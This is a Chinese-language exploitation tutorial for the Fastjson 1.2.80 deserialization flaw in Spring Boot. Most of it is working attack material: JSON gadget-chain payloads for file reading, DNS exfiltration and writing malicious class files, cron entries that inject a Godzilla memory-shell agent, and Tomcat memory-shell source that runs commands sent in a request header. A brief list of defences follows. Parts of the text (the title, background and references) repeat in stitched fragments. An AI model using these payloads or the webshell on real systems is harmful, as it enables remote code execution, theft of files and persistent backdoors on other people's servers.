Fastjson 1.2.80 在 Spring Boot 环境中的实网利用分析与教学<\/h1>

一、漏洞背景<\/h2>
Fastjson 1.2.80 版本存在反序列化漏洞，攻击者可以通过精心构造的 JSON 数据实现远程代码执行(RCE)。本文档详细记录了在 Spring Boot 环境中利用该漏洞的完整过程和技术细节。<\/p>

二、漏洞验证技术<\/h2>

1. 基础验证方法<\/h3>

1.1 布尔值检测法<\/h4>
传统 Fastjson 漏洞检测通常依赖布尔值返回差异，但在某些环境中可能不适用。<\/p>

1.2 报错检测法<\/h4>
当目标环境不返回解析结果时，可使用报错检测：<\/p>
{
<\/span><\/span>  "abc"<\/span>: {
<\/span><\/span>    "@type"<\/span>: "java.lang.AutoCloseable"<\/span>,
<\/span><\/span>    "@type"<\/span>: "org.apache.commons.io.input.BOMInputStream"<\/span>,
<\/span><\/span>    "delegate"<\/span>: {
<\/span><\/span>      "@type"<\/span>: "org.apache.commons.io.input.ReaderInputStream"<\/span>,
<\/span><\/span>      "reader"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "jdk.nashorn.api.scripting.URLReader"<\/span>,
<\/span><\/span>        "url"<\/span>: "file:\/\/\/tmp\/test"<\/span>
<\/span><\/span>      },
<\/span><\/span>      "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>      "bufferSize"<\/span>: 1024<\/span>
<\/span><\/span>    },
<\/span><\/span>    "boms"<\/span>: [
<\/span><\/span>      {
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.ByteOrderMark"<\/span>,
<\/span><\/span>        "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>        "bytes"<\/span>: [98<\/span>]
<\/span><\/span>      }
<\/span><\/span>    ]
<\/span><\/span>  },
<\/span><\/span>  "address"<\/span>: {
<\/span><\/span>    "@type"<\/span>: "java.lang.AutoCloseable"<\/span>,
<\/span><\/span>    "@type"<\/span>: "org.apache.commons.io.input.CharSequenceReader"<\/span>,
<\/span><\/span>    "charSequence"<\/span>: {
<\/span><\/span>      "@type"<\/span>: "java.lang.String"<\/span>{"$ref"<\/span>:"$.abc.BOM[0]"<\/span>
<\/span><\/span>    },
<\/span><\/span>    "start"<\/span>: 0<\/span>,
<\/span><\/span>    "end"<\/span>: 0<\/span>
<\/span><\/span>  }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2. Fastjson 1.2.80 专用检测 Payload<\/h3>
{
<\/span><\/span>    "a"<\/span>: {
<\/span><\/span>      "@type"<\/span>: "java.io.InputStream"<\/span>,
<\/span><\/span>      "@type"<\/span>: "org.apache.commons.io.input.BOMInputStream"<\/span>,
<\/span><\/span>      "delegate"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.input.ReaderInputStream"<\/span>,
<\/span><\/span>        "reader"<\/span>: {
<\/span><\/span>          "@type"<\/span>: "jdk.nashorn.api.scripting.URLReader"<\/span>,
<\/span><\/span>          "url"<\/span>: "${file}"<\/span>
<\/span><\/span>        },
<\/span><\/span>        "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>        "bufferSize"<\/span>: "1024"<\/span>
<\/span><\/span>      },
<\/span><\/span>      "boms"<\/span>: [
<\/span><\/span>        {
<\/span><\/span>          "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>          "bytes"<\/span>: $<\/span>{data<\/span>}
<\/span><\/span>        }
<\/span><\/span>      ]
<\/span><\/span>    },
<\/span><\/span>    "b"<\/span>: {
<\/span><\/span>      "$ref"<\/span>: "$.a.BOM[0]"<\/span>
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>三、文件读取技术<\/h2>
1. 通过报错读取文件<\/h3>
{
<\/span><\/span>    "a"<\/span>: {
<\/span><\/span>      "@type"<\/span>: "java.io.InputStream"<\/span>,
<\/span><\/span>      "@type"<\/span>: "org.apache.commons.io.input.BOMInputStream"<\/span>,
<\/span><\/span>      "delegate"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.input.ReaderInputStream"<\/span>,
<\/span><\/span>        "reader"<\/span>: {
<\/span><\/span>          "@type"<\/span>: "jdk.nashorn.api.scripting.URLReader"<\/span>,
<\/span><\/span>          "url"<\/span>: "${file}"<\/span>
<\/span><\/span>        },
<\/span><\/span>        "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>        "bufferSize"<\/span>: "1024"<\/span>
<\/span><\/span>      },
<\/span><\/span>      "boms"<\/span>: [
<\/span><\/span>        {
<\/span><\/span>          "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>          "bytes"<\/span>: $<\/span>{data<\/span>}
<\/span><\/span>        }
<\/span><\/span>      ]
<\/span><\/span>    },
<\/span><\/span>    "b"<\/span>: {
<\/span><\/span>      "@type"<\/span>: "java.io.InputStream"<\/span>,
<\/span><\/span>      "@type"<\/span>: "org.apache.commons.io.input.BOMInputStream"<\/span>,
<\/span><\/span>      "delegate"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.input.ReaderInputStream"<\/span>,
<\/span><\/span>        "reader"<\/span>: {"$ref"<\/span>: "$.a.BOM[0]"<\/span>},
<\/span><\/span>        "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>        "bufferSize"<\/span>: "1024"<\/span>
<\/span><\/span>      },
<\/span><\/span>      "boms"<\/span>: [
<\/span><\/span>        {
<\/span><\/span>          "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>          "bytes"<\/span>: [97<\/span>]
<\/span><\/span>        }
<\/span><\/span>      ]
<\/span><\/span>    }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2. 通过 DNS 外带数据<\/h3>
{
<\/span><\/span>    "a"<\/span>: {
<\/span><\/span>      "@type"<\/span>: "java.io.InputStream"<\/span>,
<\/span><\/span>      "@type"<\/span>: "org.apache.commons.io.input.BOMInputStream"<\/span>,
<\/span><\/span>      "delegate"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.input.ReaderInputStream"<\/span>,
<\/span><\/span>        "reader"<\/span>: {
<\/span><\/span>          "@type"<\/span>: "jdk.nashorn.api.scripting.URLReader"<\/span>,
<\/span><\/span>          "url"<\/span>: "${file}"<\/span>
<\/span><\/span>        },
<\/span><\/span>        "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>        "bufferSize"<\/span>: "1024"<\/span>
<\/span><\/span>      },
<\/span><\/span>      "boms"<\/span>: [
<\/span><\/span>        {
<\/span><\/span>          "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>          "bytes"<\/span>: $<\/span>{data<\/span>}
<\/span><\/span>        }
<\/span><\/span>      ]
<\/span><\/span>    },
<\/span><\/span>    "b"<\/span>: {
<\/span><\/span>      "@type"<\/span>: "java.io.InputStream"<\/span>,
<\/span><\/span>      "@type"<\/span>: "org.apache.commons.io.input.BOMInputStream"<\/span>,
<\/span><\/span>      "delegate"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.input.ReaderInputStream"<\/span>,
<\/span><\/span>        "reader"<\/span>: {"$ref"<\/span>: "$.a.BOM[0]"<\/span>},
<\/span><\/span>        "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>        "bufferSize"<\/span>: "1024"<\/span>
<\/span><\/span>      },
<\/span><\/span>      "boms"<\/span>: [
<\/span><\/span>        {
<\/span><\/span>          "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>          "bytes"<\/span>: [1<\/span>]
<\/span><\/span>        }
<\/span><\/span>      ]
<\/span><\/span>    },
<\/span><\/span>    "c"<\/span>: {
<\/span><\/span>      "@type"<\/span>: "java.io.InputStream"<\/span>,
<\/span><\/span>      "@type"<\/span>: "org.apache.commons.io.input.BOMInputStream"<\/span>,
<\/span><\/span>      "delegate"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.input.ReaderInputStream"<\/span>,
<\/span><\/span>        "reader"<\/span>: {
<\/span><\/span>          "@type"<\/span>: "jdk.nashorn.api.scripting.URLReader"<\/span>,
<\/span><\/span>          "url"<\/span>: "${dns}"<\/span>
<\/span><\/span>        },
<\/span><\/span>        "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>        "bufferSize"<\/span>: "1024"<\/span>
<\/span><\/span>      },
<\/span><\/span>      "boms"<\/span>: [
<\/span><\/span>        {
<\/span><\/span>          "charsetName"<\/span>: "UTF-8"<\/span>,
<\/span><\/span>          "bytes"<\/span>: [1<\/span>]
<\/span><\/span>        }
<\/span><\/span>      ]
<\/span><\/span>    },
<\/span><\/span>    "zzz"<\/span>: {"$ref"<\/span>: "$.c.BOM[0]"<\/span>}
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>四、文件写入与 RCE 技术<\/h2>
1. 基础文件写入 Payload<\/h3>
{
<\/span><\/span>    "a"<\/span>: {
<\/span><\/span>      "@type"<\/span>: "java.io.InputStream"<\/span>,
<\/span><\/span>      "@type"<\/span>: "org.apache.commons.io.input.AutoCloseInputStream"<\/span>,
<\/span><\/span>      "in"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.input.TeeInputStream"<\/span>,
<\/span><\/span>        "input"<\/span>: {
<\/span><\/span>          "@type"<\/span>: "org.apache.commons.io.input.CharSequenceInputStream"<\/span>,
<\/span><\/span>          "cs"<\/span>: {
<\/span><\/span>            "@type"<\/span>: "java.lang.String"<\/span>
<\/span><\/span>            "\xCA\xFE\xBA\xBExxxxxxxxxxxxxxxx"<\/span>,
<\/span><\/span>            "charset"<\/span>: "iso-8859-1"<\/span>,
<\/span><\/span>            "bufferSize"<\/span>: 1024<\/span>
<\/span><\/span>          },
<\/span><\/span>          "branch"<\/span>: {
<\/span><\/span>            "@type"<\/span>: "org.apache.commons.io.output.WriterOutputStream"<\/span>,
<\/span><\/span>            "writer"<\/span>: {
<\/span><\/span>              "@type"<\/span>: "org.apache.commons.io.output.LockableFileWriter"<\/span>,
<\/span><\/span>              "file"<\/span>: "\/tmp\/tomcat-docbase.9999.6522870832081637972\/WEB-INF\/classes\/Tomcat678910cmdechoException.class"<\/span>,
<\/span><\/span>              "charset"<\/span>: "iso-8859-1"<\/span>,
<\/span><\/span>              "append"<\/span>: true<\/span>
<\/span><\/span>            },
<\/span><\/span>            "charsetName"<\/span>: "iso-8859-1"<\/span>,
<\/span><\/span>            "bufferSize"<\/span>: 1024<\/span>,
<\/span><\/span>            "writeImmediately"<\/span>: true<\/span>
<\/span><\/span>          },
<\/span><\/span>          "closeBranch"<\/span>: true<\/span>
<\/span><\/span>        }
<\/span><\/span>      },
<\/span><\/span>      "b"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "java.io.InputStream"<\/span>,
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.input.ReaderInputStream"<\/span>,
<\/span><\/span>        "reader"<\/span>: {
<\/span><\/span>          "@type"<\/span>: "org.apache.commons.io.input.XmlStreamReader"<\/span>,
<\/span><\/span>          "inputStream"<\/span>: {
<\/span><\/span>            "$ref"<\/span>: "$.a"<\/span>
<\/span><\/span>          },
<\/span><\/span>          "httpContentType"<\/span>: "text\/xml"<\/span>,
<\/span><\/span>          "lenient"<\/span>: false<\/span>,
<\/span><\/span>          "defaultEncoding"<\/span>: "iso-8859-1"<\/span>
<\/span><\/span>        },
<\/span><\/span>        "charsetName"<\/span>: "iso-8859-1"<\/span>,
<\/span><\/span>        "bufferSize"<\/span>: 1024<\/span>
<\/span><\/span>      },
<\/span><\/span>      "c"<\/span>: {
<\/span><\/span>        "@type"<\/span>: "java.io.InputStream"<\/span>,
<\/span><\/span>        "@type"<\/span>: "org.apache.commons.io.input.ReaderInputStream"<\/span>,
<\/span><\/span>        "reader"<\/span>: {
<\/span><\/span>          "@type"<\/span>: "org.apache.commons.io.input.XmlStreamReader"<\/span>,
<\/span><\/span>          "inputStream"<\/span>: {
<\/span><\/span>            "$ref"<\/span>: "$.a"<\/span>
<\/span><\/span>          },
<\/span><\/span>          "httpContentType"<\/span>: "text\/xml"<\/span>,
<\/span><\/span>          "lenient"<\/span>: false<\/span>,
<\/span><\/span>          "defaultEncoding"<\/span>: "iso-8859-1"<\/span>
<\/span><\/span>        },
<\/span><\/span>        "charsetName"<\/span>: "iso-8859-1"<\/span>,
<\/span><\/span>        "bufferSize"<\/span>: 1024<\/span>
<\/span><\/span>      }
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>2. 大文件写入技术<\/h3>
由于单次写入限制约为 8KB，需要多次发送 Payload 进行分段写入：<\/p>
\/\/ Java 代码示例
<\/span><\/span><\/span><\/span>String shellcode =<\/span> "shellcode"<\/span>;<\/span>
<\/span><\/span>int<\/span> size =<\/span> 1024<\/span>;<\/span> \/\/ 缓冲区大小
<\/span><\/span><\/span><\/span>CharSequenceInputStream inputStream =<\/span> new<\/span> CharSequenceInputStream(<\/span>shellcode,<\/span> "ISO-8859-1"<\/span>,<\/span> size);<\/span>
<\/span><\/span>LockableFileWriter lockableFileWriter =<\/span> new<\/span> LockableFileWriter(<\/span>new<\/span> File(<\/span>"PocException5.txt"<\/span>),<\/span> "iso-8859-1"<\/span>,<\/span> true<\/span>,<\/span> "tmp"<\/span>);<\/span>
<\/span><\/span>WriterOutputStream writerOutputStream =<\/span> new<\/span> WriterOutputStream(<\/span>lockableFileWriter,<\/span> "iso-8859-1"<\/span>,<\/span> 1024<\/span>,<\/span> true<\/span>);<\/span>
<\/span><\/span>TeeInputStream teeInputStream =<\/span> new<\/span> TeeInputStream(<\/span>inputStream,<\/span> writerOutputStream,<\/span> true<\/span>);<\/span>
<\/span><\/span>AutoCloseInputStream autoCloseInputStream =<\/span> new<\/span> AutoCloseInputStream(<\/span>teeInputStream);<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 多次写入以突破大小限制
<\/span><\/span><\/span><\/span>InputStream inputStream1 =<\/span> new<\/span> ReaderInputStream(<\/span>new<\/span> XmlStreamReader(<\/span>autoCloseInputStream,<\/span> "text\/xml"<\/span>,<\/span> false<\/span>,<\/span> "iso-8859-1"<\/span>),<\/span> "iso-8859-1"<\/span>,<\/span> 1024<\/span>);<\/span>
<\/span><\/span>InputStream inputStream2 =<\/span> new<\/span> ReaderInputStream(<\/span>new<\/span> XmlStreamReader(<\/span>autoCloseInputStream,<\/span> "text\/xml"<\/span>,<\/span> false<\/span>,<\/span> "iso-8859-1"<\/span>),<\/span> "iso-8859-1"<\/span>,<\/span> 1024<\/span>);<\/span>
<\/span><\/span><\/code><\/pre>3. 内存马注入技术<\/h3>
当无法直接写入 Web 目录时，可通过计划任务注入内存马：<\/p>

写入计划任务：<\/li>
<\/ol>
\/var\/spool\/cron\/root
<\/span><\/span>* * * * * [<\/span> ! -f \/tmp\/out1.txt ]<\/span> &&<\/span> ps -ef | grep xxxx.jar > \/tmp\/out1.txt
<\/span><\/span><\/code><\/pre>
读取进程 ID 后注入 Agent 内存马：<\/li>
<\/ol>
* * * * * [<\/span> ! -f \/tmp\/out2.txt ]<\/span> &&<\/span> java -jar \/tmp\/TomcatGodzillaMemShellAgent.jar pid > \/tmp\/out2.txt
<\/span><\/span><\/code><\/pre>五、Tomcat 内存马示例代码<\/h2>
package<\/span> com.example.poc;<\/span>
<\/span><\/span>import<\/span> java.io.InputStream;<\/span>
<\/span><\/span>import<\/span> java.io.Writer;<\/span>
<\/span><\/span>import<\/span> java.lang.reflect.Field;<\/span>
<\/span><\/span>import<\/span> java.lang.reflect.Method;<\/span>
<\/span><\/span>import<\/span> java.util.ArrayList;<\/span>
<\/span><\/span>import<\/span> java.util.Scanner;<\/span>
<\/span><\/span>
<\/span><\/span>public<\/span> class<\/span> PocException<\/span> extends<\/span> Exception {<\/span>
<\/span><\/span>    static<\/span> {<\/span>
<\/span><\/span>        run();<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>
<\/span><\/span>    \/\/ ... 构造函数省略 ...
<\/span><\/span><\/span><\/span>
<\/span><\/span>    private<\/span> static<\/span> String getReqHeaderName<\/span>()<\/span> {<\/span>
<\/span><\/span>        return<\/span> "Accept-Lrezx"<\/span>;<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>
<\/span><\/span>    private<\/span> static<\/span> void<\/span> run<\/span>()<\/span> {<\/span>
<\/span><\/span>        try<\/span> {<\/span>
<\/span><\/span>            Method var0 =<\/span> Thread.<\/span>class<\/span>.<\/span>getDeclaredMethod<\/span>(<\/span>"getThreads"<\/span>,<\/span> (<\/span>Class[])(<\/span>new<\/span> Class[<\/span>0<\/span>]));<\/span>
<\/span><\/span>            var0.<\/span>setAccessible<\/span>(<\/span>true<\/span>);<\/span>
<\/span><\/span>            Thread[]<\/span> var1 =<\/span> (<\/span>Thread[])((<\/span>Thread[])((<\/span>Thread[])<\/span>var0.<\/span>invoke<\/span>((<\/span>Object)<\/span>null<\/span>)));<\/span>
<\/span><\/span>
<\/span><\/span>            for<\/span>(<\/span>int<\/span> var2 =<\/span> 0<\/span>;<\/span> var2 <<\/span> var1.<\/span>length<\/span>;<\/span> ++<\/span>var2)<\/span> {<\/span>
<\/span><\/span>                if<\/span> (<\/span>var1[<\/span>var2].<\/span>getName<\/span>().<\/span>contains<\/span>(<\/span>"http"<\/span>)<\/span> &&<\/span> var1[<\/span>var2].<\/span>getName<\/span>().<\/span>contains<\/span>(<\/span>"Acceptor"<\/span>))<\/span> {<\/span>
<\/span><\/span>                    \/\/ ... 反射获取Request对象 ...
<\/span><\/span><\/span><\/span>                    
<\/span><\/span>                    try<\/span> {<\/span>
<\/span><\/span>                        String var7 =<\/span> (<\/span>String)<\/span>var3.<\/span>get<\/span>(<\/span>var5.<\/span>get<\/span>(<\/span>var6)).<\/span>getClass<\/span>().<\/span>getMethod<\/span>(<\/span>"getHeader"<\/span>,<\/span> String.<\/span>class<\/span>)<\/span>
<\/span><\/span>                            .<\/span>invoke<\/span>(<\/span>var3.<\/span>get<\/span>(<\/span>var5.<\/span>get<\/span>(<\/span>var6)),<\/span> getReqHeaderName());<\/span>
<\/span><\/span>                        if<\/span> (<\/span>var7 !=<\/span> null<\/span>)<\/span> {<\/span>
<\/span><\/span>                            Object response =<\/span> var4.<\/span>getClass<\/span>().<\/span>getDeclaredMethod<\/span>(<\/span>"getResponse"<\/span>).<\/span>invoke<\/span>(<\/span>var4);<\/span>
<\/span><\/span>                            Writer writer =<\/span> (<\/span>Writer)<\/span>response.<\/span>getClass<\/span>().<\/span>getMethod<\/span>(<\/span>"getWriter"<\/span>).<\/span>invoke<\/span>(<\/span>response);<\/span>
<\/span><\/span>                            writer.<\/span>write<\/span>(<\/span>exec(<\/span>var7));<\/span>
<\/span><\/span>                            writer.<\/span>flush<\/span>();<\/span>
<\/span><\/span>                            writer.<\/span>close<\/span>();<\/span>
<\/span><\/span>                            break<\/span>;<\/span>
<\/span><\/span>                        }<\/span>
<\/span><\/span>                    }<\/span> catch<\/span> (<\/span>Exception var15)<\/span> {}<\/span>
<\/span><\/span>                }<\/span>
<\/span><\/span>            }<\/span>
<\/span><\/span>        }<\/span> catch<\/span> (<\/span>Throwable var16)<\/span> {}<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>
<\/span><\/span>    private<\/span> static<\/span> String exec<\/span>(<\/span>String cmd)<\/span> {<\/span>
<\/span><\/span>        try<\/span> {<\/span>
<\/span><\/span>            boolean<\/span> isLinux =<\/span> true<\/span>;<\/span>
<\/span><\/span>            String osType =<\/span> System.<\/span>getProperty<\/span>(<\/span>"os.name"<\/span>);<\/span>
<\/span><\/span>            if<\/span> (<\/span>osType !=<\/span> null<\/span> &&<\/span> osType.<\/span>toLowerCase<\/span>().<\/span>contains<\/span>(<\/span>"win"<\/span>))<\/span> {<\/span>
<\/span><\/span>                isLinux =<\/span> false<\/span>;<\/span>
<\/span><\/span>            }<\/span>
<\/span><\/span>
<\/span><\/span>            String[]<\/span> cmds =<\/span> isLinux ?<\/span> new<\/span> String[]{<\/span>"\/bin\/sh"<\/span>,<\/span> "-c"<\/span>,<\/span> cmd}<\/span> :<\/span> new<\/span> String[]{<\/span>"cmd.exe"<\/span>,<\/span> "\/c"<\/span>,<\/span> cmd};<\/span>
<\/span><\/span>            InputStream in =<\/span> Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>cmds).<\/span>getInputStream<\/span>();<\/span>
<\/span><\/span>            Scanner s =<\/span> (<\/span>new<\/span> Scanner(<\/span>in)).<\/span>useDelimiter<\/span>(<\/span>"\\a"<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>            String execRes;<\/span>
<\/span><\/span>            for<\/span>(<\/span>execRes =<\/span> ""<\/span>;<\/span> s.<\/span>hasNext<\/span>();<\/span> execRes =<\/span> execRes +<\/span> s.<\/span>next<\/span>())<\/span> {}<\/span>
<\/span><\/span>
<\/span><\/span>            return<\/span> execRes;<\/span>
<\/span><\/span>        }<\/span> catch<\/span> (<\/span>Exception var8)<\/span> {<\/span>
<\/span><\/span>            return<\/span> var8.<\/span>getMessage<\/span>();<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>六、防御建议<\/h2>

升级 Fastjson 到最新安全版本<\/li>
在反序列化时使用安全模式<\/li>
限制 JSON 输入的内容和大小<\/li>
使用白名单机制控制反序列化的类<\/li>
监控系统异常行为，如大量计划任务创建<\/li>
<\/ol>
七、参考资源<\/h2>

Squirt1e's blog<\/li>
luelueking\/CVE-2022-25845-In-Spring<\/li>
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析<\/li>
springboot环境下的写文件RCE<\/li>
<\/ol>
Fastjson 1.2.80 在 Spring Boot 环境中的实网利用分析与教学<\/h1>

一、漏洞背景<\/h2> Fastjson 1.2.80 版本存在反序列化漏洞，攻击者可以通过精心构造的 JSON 数据实现远程代码执行(RCE)。本文档详细记录了在 Spring Boot 环境中利用该漏洞的完整过程和技术细节。<\/p>

二、漏洞验证技术<\/h2>

1. 基础验证方法<\/h3>

1.1 布尔值检测法<\/h4> 传统 Fastjson 漏洞检测通常依赖布尔值返回差异，但在某些环境中可能不适用。<\/p>

三、文件读取技术<\/h2>

四、文件写入与 RCE 技术<\/h2>

七、参考资源<\/h2> Squirt1e's blog<\/li> luelueking\/CVE-2022-25845-In-Spring<\/li> Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析<\/li> springboot环境下的写文件RCE<\/li> <\/ol>

一、漏洞背景<\/h2>
Fastjson 1.2.80 版本存在反序列化漏洞，攻击者可以通过精心构造的 JSON 数据实现远程代码执行(RCE)。本文档详细记录了在 Spring Boot 环境中利用该漏洞的完整过程和技术细节。<\/p>

1.1 布尔值检测法<\/h4>
传统 Fastjson 漏洞检测通常依赖布尔值返回差异，但在某些环境中可能不适用。<\/p>

七、参考资源<\/h2>

Squirt1e's blog<\/li>
luelueking\/CVE-2022-25845-In-Spring<\/li>
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析<\/li>
springboot环境下的写文件RCE<\/li> <\/ol>
